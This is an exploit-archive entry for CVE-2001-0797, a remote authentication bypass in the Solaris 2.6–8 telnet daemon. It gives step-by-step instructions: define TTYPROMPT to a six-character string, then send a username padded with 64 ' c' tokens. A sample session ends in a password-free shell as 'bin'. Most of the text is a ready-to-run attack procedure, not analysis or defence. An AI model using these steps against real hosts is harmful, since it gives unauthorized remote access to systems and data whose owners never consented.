Solaris 2.6/7/8 - 'TTYPROMPT in.telnet' Remote Authentication Bypass - CVE-2001-0797

Solaris TTYPROMPT Security Vulnerability (Telnet)

This vulnerability is very simple to exploit, since it does not require
any code to be compiled by an attacker. The vulnerability only requires
the attacker to simply define the environment variable TTYPROMPT to a
6-character string, inside telnet. Jonathan believes this overflows an
integer inside login, which specifies whether the user has been
authenticated (just a guess).

Once connected to the remote host, you must type the username, followed
by 64 " c"s, and a literal "\n". You will then be logged in as the user
without any password authentication. This should work with any account
except root (unless remote root login is allowed).

Example:
coma% telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost

SunOS 5.8

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: whenever
$ whoami bin

# milw0rm.com [2002-11-02]